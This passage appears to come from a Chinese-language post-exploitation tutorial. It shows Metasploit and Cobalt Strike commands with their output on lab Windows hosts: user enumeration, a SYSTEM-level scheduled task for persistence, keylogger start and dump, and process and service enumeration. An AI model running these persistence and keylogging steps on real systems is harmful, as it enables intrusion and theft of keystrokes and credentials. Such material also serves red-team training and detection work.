  9. msf5 post(windows/gather/enum_logged_on_users) > set session 1
  10. session => 1
  11. msf5 post(windows/gather/enum_logged_on_users) > exploit
  12. [*] Running against session 1
  13. Current Logged Users
  14. ====================
  15. SID User
  16. --- ----
  17. S-1-5-21-1911985068-4225083820-4011728908-500 ROOT-5DE52AC98B\Administrator
  18. [+] Results saved in: /root/.msf4/loot/20190907124429_default_192.168.2.114_host.users.activ_626805.txt
  19. Recently Logged Users
  20. =====================
  21. SID Profile Path
  22. --- ------------
  23. S-1-5-18 %systemroot%\system32\config\systemprofile
  24. S-1-5-19 %SystemDrive%\Documents and Settings\LocalService
  25. S-1-5-20 %SystemDrive%\Documents and Settings\NetworkService
  26. S-1-5-21-1911985068-4225083820-4011728908-500 %SystemDrive%\Documents and Settings\Administrator
  27. [*] Post module execution completed

cs下操作:

shell net session | find / "\"

  1. beacon> shell net session | find / "\\"
  2. [*] Tasked beacon to run: net session | find / "\\"

Scheduled Task(计划任务)

原理:

  1. Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. [1]
  2. An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
  3. 主要就是使用at或者sc命令去启动一个程序,不过需要满足使用RPC的适当身份验证

Display all currently scheduled tasks(显示所有的计划任务)

terminal下操作:

schtasks [/s HOSTNAME]

  1. PS C:\Users\Administrator\Desktop\powrshell> schtasks
  2. 文件夹: \
  3. 任务名 下次运行时间 模式
  4. ======================================== ====================== ===============
  5. 信息: 目前在你的访问级别上不存在任何可用的计划任务。
  6. 文件夹: \Microsoft
  7. 任务名 下次运行时间 模式
  8. ======================================== ====================== ===============
  9. 信息: 目前在你的访问级别上不存在任何可用的计划任务。
  10. 文件夹: \Microsoft\Windows
  11. 任务名 下次运行时间 模式
  12. ======================================== ====================== ===============
  13. 信息: 目前在你的访问级别上不存在任何可用的计划任务。
  14. 文件夹: \Microsoft\Windows\.NET Framework

cs下操作:

shell schtasks

  1. beacon> shell schtasks
  2. [*] Tasked beacon to run: schtasks
  3. [+] host called home, sent: 39 bytes
  4. [+] received output:
  5. 信息: 系统里没有计划任务。

Create a scheduled task(创建一个计划任务)

terminal下操作:

  1. schtasks [/S HOSTNAME] /create /tn "acachesrv" /tr C:\file\path\here.exe /sc ONLOGON /ru "System" [/rp password]
  2. Requirements for running scheduled tasks:
  3. net start schedule
  4. sc config schedule start= auto
  1. PS C:\Users\Administrator\Desktop\powrshell> net start schedule
  2. 请求的服务已经启动。
  3. 请键入 NET HELPMSG 2182 以获得更多的帮助。
  4. PS C:\Users\Administrator\Desktop\powrshell> schtasks /create /tn "acachesrv" /tr C:\file\path\here.exe /sc ONLOGON /ru
  5. "System"
  6. 成功: 成功创建计划任务 "acachesrv"

cs下操作:

  1. shell schtasks [/S HOSTNAME] /create /tn "acachesrv" /tr C:\file\path\here.exe /sc ONLOGON /ru "System" [/rp password]
  2. Requirements for running scheduled tasks:
  3. shell net start schedule
  4. shell sc config schedule start= auto

Input Capture(输入捕捉(键盘记录))

Start a keylogger(开始键盘记录)

msf下操作:

starting the keylogger:

keyscan_start

when you're ready to get the logs:

keyscan_dump

when you're done keylogging:

keyscan_stop

  1. meterpreter > keyscan_start
  2. Starting the keystroke sniffer ...
  3. meterpreter > keyscan_dump
  4. Dumping captured keystrokes...
  5. 1513215212
  6. meterpreter > keyscan_stop
  7. Stopping the keystroke sniffer...

cs下操作:

keylogger 1320 x86(进程名、系统版本)

  1. beacon> keylogger 1200 x86
  2. [*] Tasked beacon to log keystrokes in 1200 (x86)
  3. [+] host called home, sent: 65610 bytes
  4. [-] could not open process 1200: 5
  5. [-] Could not connect to pipe: 2
  6. [+] received keystrokes
  7. [+] received keystrokes
  8. beacon> keylogger 1328 null
  9. [*] Tasked beacon to log keystrokes in 1328 (null)
  10. [+] host called home, sent: 65610 bytes
  11. [-] could not open process 1328: 5
  12. [-] Could not connect to pipe: 2
  13. [+] received keystrokes

Process Discovery(进程获取)

Enumerate running processes(枚举运行的进程)

terminal下操作:

tasklist /v [/svc]

net start

qprocess *

  1. PS C:\Users\Administrator\Desktop\powrshell> tasklist /svc
  2. 映像名称 PID 服务
  3. ========================= ======== ============================================
  4. System Idle Process 0 暂缺
  5. System 4 暂缺
  6. Registry 88 暂缺
  7. smss.exe 296 暂缺
  8. csrss.exe 396 暂缺
  9. wininit.exe 496 暂缺
  10. csrss.exe 508 暂缺
  11. winlogon.exe 588 暂缺
  12. services.exe 604 暂缺
  13. lsass.exe 632 KeyIso, SamSs
  14. svchost.exe 732 BrokerInfrastructure, DcomLaunch, Power,
  15. SystemEventsBroker
  16. fontdrvhost.exe 744 暂缺
  17. fontdrvhost.exe 812 暂缺
  18. svchost.exe 860 RpcEptMapper, RpcSs
  19. svchost.exe 904 LSM
  20. dwm.exe 1000 暂缺
  21. svchost.exe 376 TermService
  22. svchost.exe 656 CoreMessagingRegistrar
  23. svchost.exe 808 lmhosts
  24. svchost.exe 1120 NcbService
  25. svchost.exe 1136 Schedule
  26. svchost.exe 1176 ProfSvc
  27. svchost.exe 1248 EventLog
  28. svchost.exe 1300 UserManager
  29. svchost.exe 1332 nsi
  30. svchost.exe 1348 UmRdpService
  31. svchost.exe 1420 TimeBrokerSvc
  32. svchost.exe 1444 Dhcp
  33. svchost.exe 1512 CertPropSvc
  34. svchost.exe 1548 EventSystem
  35. svchost.exe 1580 SysMain
  36. svchost.exe 1616 Themes
  37. Memory Compression 1716 暂缺
  38. WUDFHost.exe 1736 暂缺
  39. svchost.exe 1792 LanmanWorkstation
  40. svchost.exe 1812 SENS
  41. svchost.exe 1844 NlaSvc
  42. svchost.exe 1892 AudioEndpointBuilder
  43. svchost.exe 1916 FontCache
  44. svchost.exe 2028 SessionEnv
  45. svchost.exe 2036 Audiosrv
  46. svchost.exe 2064 netprofm
  47. svchost.exe 2204 Dnscache
  48. svchost.exe 2220 DusmSvc
  49. svchost.exe 2240 Wcmsvc
  50. svchost.exe 2276 StateRepository
  51. svchost.exe 2504 WlanSvc
  52. svchost.exe 2544 ShellHWDetection
  53. spoolsv.exe 2612 Spooler
  54. svchost.exe 2648 BFE, mpssvc
  55. svchost.exe 2772 IKEEXT
  56. svchost.exe 2784 PolicyAgent
  57. wvs_supervisor.exe 2844 Acunetix
  58. pg_ctl.exe 2852 Acunetix Database
  59. svchost.exe 2860 CryptSvc
  60. svchost.exe 2884 DPS
  61. FNPLicensingService.exe 2900 FlexNet Licensing Service
  62. svchost.exe 2928 Winmgmt
  63. svchost.exe 2988 LPDSVC
  64. svchost.exe 3016 LanmanServer
  65. svchost.exe 1656 SstpSvc
  66. vmtoolsd.exe 2364 VMTools
  67. svchost.exe 2312 TrkWks
  68. sv_service.exe 236 VOneMgrSvcForNG
  69. svchost.exe 2740 WpnService
  70. svchost.exe 3236 WdiServiceHost
  71. svchost.exe 3260 iphlpsvc
  72. opsrv.exe 3416 暂缺
  73. svchost.exe 3448 RasMan
  74. postgres.exe 3456 暂缺
  75. conhost.exe 3464 暂缺
  76. conhost.exe 3516 暂缺
  77. dllhost.exe 3976 COMSysApp
  78. postgres.exe 644 暂缺
  79. postgres.exe 2892 暂缺
  80. postgres.exe 660 暂缺
  81. postgres.exe 2920 暂缺
  82. postgres.exe 2880 暂缺
  83. msdtc.exe 4256 MSDTC
  84. svchost.exe 4972 CDPUserSvc_56a0b
  85. sihost.exe 4988 暂缺
  86. svchost.exe 5012 WpnUserService_56a0b
  87. taskhostw.exe 5088 暂缺
  88. svchost.exe 5116 TokenBroker
  89. svchost.exe 4452 TabletInputService
  90. svchost.exe 64 CDPSvc
  91. ctfmon.exe 4732 暂缺
  92. svchost.exe 1904 PcaSvc
  93. explorer.exe 5188 暂缺
  94. svchost.exe 5616 cbdhsvc_56a0b
  95. sv_websvr.exe 5712 暂缺
  96. ShellExperienceHost.exe 5844 暂缺
  97. RuntimeBroker.exe 6016 暂缺
  98. WindowsInternal.Composabl 5184 暂缺
  99. vmtoolsd.exe 4816 暂缺
  100. jusched.exe 328 暂缺
  101. AttackView.exe 5992 暂缺
  102. svchost.exe 2268 SSDPSRV
  103. powershell.exe 1272 暂缺
  104. conhost.exe 3816 暂缺
  105. svchost.exe 4400 LicenseManager
  106. svchost.exe 4548 DsSvc
  107. svchost.exe 2228 StorSvc
  108. WmiPrvSE.exe 3944 暂缺
  109. postgres.exe 1364 暂缺
  110. postgres.exe 4520 暂缺
  111. postgres.exe 4488 暂缺
  112. postgres.exe 3392 暂缺
  113. svchost.exe 2212 BITS
  114. svchost.exe 4656 WinHttpAutoProxySvc
  115. WmiPrvSE.exe 6588 暂缺
  116. tasklist.exe 6920 暂缺
  117. PS C:\Users\Administrator\Desktop\powrshell> net start
  118. 已经启动以下 Windows 服务:
  119. Acunetix
  120. Acunetix Database
  121. Background Tasks Infrastructure Service
  122. Base Filtering Engine
  123. Certificate Propagation
  124. CNG Key Isolation
  125. COM+ Event System
  126. COM+ System Application
  127. CoreMessaging
  128. Cryptographic Services
  129. Data Sharing Service
  130. DCOM Server Process Launcher
  131. DHCP Client
  132. Diagnostic Policy Service
  133. Diagnostic Service Host
  134. Distributed Link Tracking Client
  135. Distributed Transaction Coordinator
  136. DNS Client
  137. FlexNet Licensing Service
  138. IKE and AuthIP IPsec Keying Modules
  139. IP Helper
  140. IPsec Policy Agent
  141. Local Session Manager
  142. LPD Service
  143. Network Connection Broker
  144. Network List Service
  145. Network Location Awareness
  146. Network Store Interface Service
  147. Power
  148. Print Spooler
  149. Program Compatibility Assistant Service
  150. Remote Access Connection Manager
  151. Remote Desktop Configuration
  152. Remote Desktop Services
  153. Remote Desktop Services UserMode Port Redirector
  154. Remote Procedure Call (RPC)
  155. RPC Endpoint Mapper
  156. Secure Socket Tunneling Protocol Service
  157. Security Accounts Manager
  158. Server
  159. Shell Hardware Detection
  160. SSDP Discovery
  161. SSL VPN Management Service Program For NG
  162. State Repository Service
  163. Storage Service
  164. SysMain
  165. System Event Notification Service
  166. System Events Broker
  167. Task Scheduler
  168. TCP/IP NetBIOS Helper
  169. Themes
  170. Time Broker
  171. Touch Keyboard and Handwriting Panel Service
  172. User Manager
  173. User Profile Service
  174. VMware Tools
  175. Web 帐户管理器
  176. Windows Audio
  177. Windows Audio Endpoint Builder
  178. Windows Connection Manager
  179. Windows Defender Firewall
  180. Windows Event Log
  181. Windows Font Cache Service
  182. Windows Management Instrumentation
  183. Windows Push Notifications User Service_56a0b
  184. Windows 推送通知系统服务
  185. Windows 许可证管理器服务
  186. WinHTTP Web Proxy Auto-Discovery Service
  187. WLAN AutoConfig
  188. Workstation
  189. 剪贴板用户服务_56a0b
  190. 数据使用量
  191. 连接设备平台服务
  192. 连接设备平台用户服务_56a0b
  193. 命令成功完成。
  194. PS C:\Users\Administrator\Desktop\powrshell> qprocess *
  195. 用户名 会话名 ID PID 映像
  196. (未知) services 0 0
  197. (未知) services 0 4 system
  198. system services 0 88 registry
  199. system services 0 296 smss.exe
  200. system services 0 396 csrss.exe
  201. system services 0 496 wininit.exe
  202. >system console 1 508 csrss.exe
  203. >system console 1 588 winlogon.exe
  204. system services 0 604 services.exe
  205. system services 0 632 lsass.exe
  206. system services 0 732 svchost.exe
  207. umfd-0 services 0 744 fontdrvhost.ex
  208. >umfd-1 console 1 812 fontdrvhost.ex
  209. network service services 0 860 svchost.exe
  210. system services 0 904 svchost.exe
  211. >dwm-1 console 1 1000 dwm.exe
  212. network service services 0 376 svchost.exe
  213. local service services 0 656 svchost.exe
  214. local service services 0 808 svchost.exe
  215. system services 0 1120 svchost.exe
  216. system services 0 1136 svchost.exe
  217. system services 0 1176 svchost.exe
  218. local service services 0 1248 svchost.exe
  219. system services 0 1300 svchost.exe
  220. local service services 0 1332 svchost.exe
  221. system services 0 1348 svchost.exe
  222. local service services 0 1420 svchost.exe
  223. local service services 0 1444 svchost.exe
  224. system services 0 1512 svchost.exe
  225. local service services 0 1548 svchost.exe
  226. system services 0 1580 svchost.exe
  227. system services 0 1616 svchost.exe
  228. system services 0 1716 memory compr..
  229. local service services 0 1736 wudfhost.exe
  230. network service services 0 1792 svchost.exe
  231. system services 0 1812 svchost.exe
  232. network service services 0 1844 svchost.exe
  233. system services 0 1892 svchost.exe
  234. local service services 0 1916 svchost.exe
  235. system services 0 2028 svchost.exe
  236. local service services 0 2036 svchost.exe
  237. local service services 0 2064 svchost.exe
  238. network service services 0 2204 svchost.exe
  239. local service services 0 2220 svchost.exe
  240. local service services 0 2240 svchost.exe
  241. system services 0 2276 svchost.exe
  242. system services 0 2504 svchost.exe
  243. system services 0 2544 svchost.exe
  244. system services 0 2612 spoolsv.exe
  245. local service services 0 2648 svchost.exe
  246. system services 0 2772 svchost.exe
  247. network service services 0 2784 svchost.exe
  248. system services 0 2844 wvs_supervis..
  249. local service services 0 2852 pg_ctl.exe
  250. network service services 0 2860 svchost.exe
  251. local service services 0 2884 svchost.exe
  252. system services 0 2900 fnplicensing..
  253. system services 0 2928 svchost.exe
  254. system services 0 2988 svchost.exe
  255. system services 0 3016 svchost.exe
  256. local service services 0 1656 svchost.exe
  257. system services 0 2364 vmtoolsd.exe
  258. system services 0 2312 svchost.exe
  259. system services 0 236 sv_service.exe
  260. system services 0 2740 svchost.exe
  261. local service services 0 3236 svchost.exe
  262. system services 0 3260 svchost.exe
  263. system services 0 3416 opsrv.exe
  264. system services 0 3448 svchost.exe
  265. local service services 0 3456 postgres.exe
  266. system services 0 3464 conhost.exe
  267. local service services 0 3516 conhost.exe
  268. system services 0 3976 dllhost.exe
  269. local service services 0 644 postgres.exe
  270. local service services 0 2892 postgres.exe
  271. local service services 0 660 postgres.exe
  272. local service services 0 2920 postgres.exe
  273. local service services 0 2880 postgres.exe
  274. network service services 0 4256 msdtc.exe
  275. >administrator console 1 4972 svchost.exe
  276. >administrator console 1 4988 sihost.exe
  277. >administrator console 1 5012 svchost.exe
  278. >administrator console 1 5088 taskhostw.exe
  279. system services 0 5116 svchost.exe
  280. system services 0 4452 svchost.exe
  281. local service services 0 64 svchost.exe
  282. >administrator console 1 4732 ctfmon.exe
  283. system services 0 1904 svchost.exe
  284. >administrator console 1 5188 explorer.exe
  285. >administrator console 1 5616 svchost.exe
  286. >administrator console 1 5712 sv_websvr.exe
  287. >administrator console 1 5844 shellexperie..
  288. >administrator console 1 6016 runtimebroke..
  289. >administrator console 1 5184 windowsinter..
  290. >administrator console 1 4816 vmtoolsd.exe
  291. >administrator console 1 5992 attackview.exe
  292. local service services 0 2268 svchost.exe
  293. >administrator console 1 1272 powershell.exe
  294. >administrator console 1 3816 conhost.exe
  295. local service services 0 4400 svchost.exe
  296. system services 0 4548 svchost.exe
  297. system services 0 2228 svchost.exe
  298. system services 0 3944 wmiprvse.exe
  299. local service services 0 1364 postgres.exe
  300. local service services 0 4520 postgres.exe
  301. local service services 0 4488 postgres.exe
  302. local service services 0 3392 postgres.exe
  303. local service services 0 4656 svchost.exe
  304. network service services 0 6588 wmiprvse.exe
  305. local service services 0 2528 audiodg.exe
  306. >administrator console 1 260 qprocess.exe

msf下操作:

ps

post/windows/gather/enum_services

  1. meterpreter > ps
  2. Process List
  3. ============
  4. PID PPID Name Arch Session User Path
  5. --- ---- ---- ---- ------- ---- ----
  6. 0 0 [System Process]
  7. 4 0 System x86 0
  8. 264 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
  9. 312 264 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
  10. 340 264 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
  11. 388 340 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
  12. 400 340 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
  13. 572 1436 payload1.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Documents and Settings\Administrator\����\payload1.exe
  14. 592 388 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe
  15. 608 388 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
  16. 688 388 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
  17. 748 388 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
  18. 800 388 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
  19. 816 388 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
  20. 912 3424 TPAutoConnect.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
  21. 956 388 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
  22. 984 388 msdtc.exe x86 0 C:\WINDOWS\system32\msdtc.exe
  23. 1100 388 httpd.exe x86 0 NT AUTHORITY\SYSTEM C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
  24. 1144 388 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
  25. 1200 388 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
  26. 1228 388 mysqld.exe x86 0 NT AUTHORITY\SYSTEM C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe
  27. 1252 388 mysqld.exe x86 0 NT AUTHORITY\SYSTEM C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe
  28. 1320 168 conime.exe x86 0 ROOT-5DE52AC98B\Administrator C:\WINDOWS\system32\conime.exe
  29. 1328 388 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
  30. 1348 3424 TPAutoConnect.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
  31. 1352 388 SafeDogUpdateCenter.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\SafeDog\SafeDogUpdateCenter\SafeDogUpdateCenter.exe
  32. 1436 1168 explorer.exe x86 0 ROOT-5DE52AC98B\Administrator C:\WINDOWS\Explorer.EXE
  33. 1440 388 CloudHelper.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\SafeDog\SafeDogUpdateCenter\CloudHelper.exe
  34. 1468 1436 ctfmon.exe x86 0 ROOT-5DE52AC98B\Administrator C:\WINDOWS\system32\ctfmon.exe
  35. 1804 388 VGAuthService.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe
  36. 1856 388 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
  37. 1932 388 mqsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqsvc.exe
  38. 2072 388 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
  39. 2248 1100 httpd.exe x86 0 NT AUTHORITY\SYSTEM C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
  40. 2264 1436 vmtoolsd.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
  41. 2904 608 wmiprvse.exe x86 0 C:\WINDOWS\system32\wbem\wmiprvse.exe
  42. 3196 608 wmiprvse.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiprvse.exe
  43. 3368 388 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
  44. 3408 1436 artifact.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Documents and Settings\Administrator\����\artifact.exe
  45. 3424 388 TPAutoConnSvc.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
  46. 3520 388 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
  47. 3600 1436 artifact.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Documents and Settings\Administrator\����\artifact.exe
  48. 3876 340 logon.scr x86 0 ROOT-5DE52AC98B\Administrator C:\WINDOWS\System32\logon.scr
  49. msf5 post(windows/gather/enum_logged_on_users) > use post/windows/gather/enum_services
  50. msf5 post(windows/gather/enum_services) > set session 1
  51. session => 1
  52. msf5 post(windows/gather/enum_services) > exploit
  53. [*] Listing Service Info for matching services, please wait...
  54. [+] New service credential detected: AeLookupSvc is running as 'LocalSystem'
  55. [+] New service credential detected: Alerter is running as 'NT AUTHORITY\LocalService'
  56. [+] New service credential detected: aspnet_state is running as 'NT AUTHORITY\NetworkService'
  57. Services
  58. ========
  59. Name Credentials Command Startup
  60. ---- ----------- ------- -------
  61. ALG NT AUTHORITY\LocalService Manual C:\WINDOWS\System32\alg.exe
  62. AeLookupSvc LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
  63. Alerter NT AUTHORITY\LocalService Disabled C:\WINDOWS\system32\svchost.exe -k LocalService
  64. Apache2 LocalSystem Auto "C:\phpstudy0\Apache\bin\httpd.exe" -k runservice
  65. AppMgmt LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
  66. AudioSrv LocalSystem Disabled C:\WINDOWS\System32\svchost.exe -k netsvcs
  67. BITS LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
  68. Browser LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
  69. COMSysApp LocalSystem Manual C:\WINDOWS\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
  70. CiSvc LocalSystem Disabled C:\WINDOWS\system32\cisvc.exe
  71. ClipSrv LocalSystem Disabled C:\WINDOWS\system32\clipsrv.exe
  72. CryptSvc LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
  73. DcomLaunch LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k DcomLaunch
  74. Dfs LocalSystem Manual C:\WINDOWS\system32\Dfssvc.exe
  75. Dhcp NT AUTHORITY\NetworkService Auto C:\WINDOWS\system32\svchost.exe -k NetworkService
  76. Dnscache NT AUTHORITY\NetworkService Auto C:\WINDOWS\system32\svchost.exe -k NetworkService
  77. ERSvc LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k WinErr
  78. EventSystem LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
  79. Eventlog LocalSystem Auto C:\WINDOWS\system32\services.exe
  80. HTTPFilter LocalSystem Manual C:\WINDOWS\system32\lsass.exe
  81. HidServ LocalSystem Disabled C:\WINDOWS\System32\svchost.exe -k netsvcs
  82. IISADMIN LocalSystem Auto C:\WINDOWS\system32\inetsrv\inetinfo.exe
  83. ImapiService LocalSystem Disabled C:\WINDOWS\system32\imapi.exe
  84. IsmServ LocalSystem Disabled C:\WINDOWS\System32\ismserv.exe
  85. LicenseService NT AUTHORITY\NetworkService Disabled C:\WINDOWS\System32\llssrv.exe
  86. LmHosts NT AUTHORITY\LocalService Auto C:\WINDOWS\system32\svchost.exe -k LocalService
  87. MSDTC NT AUTHORITY\NetworkService Auto C:\WINDOWS\system32\msdtc.exe
  88. MSIServer LocalSystem Manual C:\WINDOWS\system32\msiexec.exe /V
  89. MSMQ LocalSystem Auto C:\WINDOWS\system32\mqsvc.exe
  90. Messenger LocalSystem Disabled C:\WINDOWS\system32\svchost.exe -k netsvcs
  91. MySQL LocalSystem Auto C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe MySQL
  92. MySQLa LocalSystem Auto C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe MySQLa
  93. NetDDE LocalSystem Disabled C:\WINDOWS\system32\netdde.exe
  94. NetDDEdsdm LocalSystem Disabled C:\WINDOWS\system32\netdde.exe
  95. Netlogon LocalSystem Manual C:\WINDOWS\system32\lsass.exe
  96. Netman LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k netsvcs
  97. Nla LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
  98. NtFrs LocalSystem Manual C:\WINDOWS\system32\ntfrs.exe
  99. NtLmSsp LocalSystem Manual C:\WINDOWS\system32\lsass.exe
  100. NtmsSvc LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
  101. PlugPlay LocalSystem Auto C:\WINDOWS\system32\services.exe
  102. PolicyAgent LocalSystem Auto C:\WINDOWS\system32\lsass.exe
  103. ProtectedStorage LocalSystem Auto C:\WINDOWS\system32\lsass.exe
  104. RDSessMgr LocalSystem Manual C:\WINDOWS\system32\sessmgr.exe
  105. RSoPProv LocalSystem Manual C:\WINDOWS\system32\RSoPProv.exe
  106. RasAuto LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
  107. RasMan LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
  108. RemoteAccess LocalSystem Disabled C:\WINDOWS\system32\svchost.exe -k netsvcs
  109. RemoteRegistry NT AUTHORITY\LocalService Auto C:\WINDOWS\system32\svchost.exe -k regsvc
  110. RpcLocator NT AUTHORITY\NetworkService Manual C:\WINDOWS\system32\locator.exe
  111. RpcSs NT AUTHORITY\NetworkService Auto C:\WINDOWS\system32\svchost.exe -k rpcss
  112. SCardSvr NT AUTHORITY\LocalService Manual C:\WINDOWS\System32\SCardSvr.exe
  113. SENS LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
  114. SafeDogCloudHelper LocalSystem Auto "C:\Program Files\SafeDog\SafeDogUpdateCenter\CloudHelper.exe"
  115. Safedog Update Center LocalSystem Auto "C:\Program Files\SafeDog\SafeDogUpdateCenter\SafeDogUpdateCenter.exe"
  116. SamSs LocalSystem Auto C:\WINDOWS\system32\lsass.exe
  117. Schedule LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
  118. SharedAccess LocalSystem Disabled C:\WINDOWS\system32\svchost.exe -k netsvcs
  119. ShellHWDetection LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
  120. Spooler LocalSystem Auto C:\WINDOWS\system32\spoolsv.exe
  121. SysmonLog NT Authority\NetworkService Auto C:\WINDOWS\system32\smlogsvc.exe
  122. TPAutoConnSvc LocalSystem Manual "C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe"
  123. TPVCGateway LocalSystem Manual "C:\Program Files\VMware\VMware Tools\TPVCGateway.exe"
  124. TapiSrv LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k tapisrv
  125. TermService LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k termsvcs
  126. Themes LocalSystem Disabled C:\WINDOWS\System32\svchost.exe -k netsvcs
  127. TlntSvr NT AUTHORITY\LocalService Disabled C:\WINDOWS\system32\tlntsvr.exe
  128. TrkSvr LocalSystem Disabled C:\WINDOWS\system32\svchost.exe -k netsvcs
  129. TrkWks LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
  130. Tssdis LocalSystem Disabled C:\WINDOWS\System32\tssdis.exe
  131. UMWdf NT AUTHORITY\LocalService Manual C:\WINDOWS\system32\wdfmgr.exe
  132. UPS NT AUTHORITY\LocalService Manual C:\WINDOWS\System32\ups.exe
  133. VGAuthService LocalSystem Auto "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"
  134. VMTools LocalSystem Auto "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
  135. VMware Physical Disk Helper Service LocalSystem Auto "C:\Program Files\VMware\VMware Tools\vmacthlp.exe"
  136. VSS LocalSystem Manual C:\WINDOWS\System32\vssvc.exe
  137. W32Time NT AUTHORITY\LocalService Auto C:\WINDOWS\System32\svchost.exe -k LocalService
  138. W3SVC LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k iissvcs
  139. WZCSVC LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
  140. WebClient NT AUTHORITY\LocalService Disabled C:\WINDOWS\system32\svchost.exe -k LocalService
  141. WinHttpAutoProxySvc NT AUTHORITY\LocalService Manual C:\WINDOWS\system32\svchost.exe -k LocalService
  142. WmdmPmSN LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k netsvcs
  143. Wmi LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k netsvcs
  144. WmiApSrv LocalSystem Manual C:\WINDOWS\system32\wbem\wmiapsrv.exe
  145. apache LocalSystem Auto "C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe" -k runservice
  146. aspnet_state NT AUTHORITY\NetworkService Manual C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_state.exe
  147. dmadmin LocalSystem Manual C:\WINDOWS\System32\dmadmin.exe /com
  148. dmserver LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
  149. helpsvc LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
  150. kdc LocalSystem Disabled C:\WINDOWS\System32\lsass.exe
  151. lanmanserver LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
  152. lanmanworkstation LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
  153. mnmsrvc LocalSystem Disabled C:\WINDOWS\system32\mnmsrvc.exe
  154. sacsvr LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k netsvcs
  155. seclogon LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
  156. stisvc NT AUTHORITY\LocalService Disabled C:\WINDOWS\system32\svchost.exe -k imgsvc
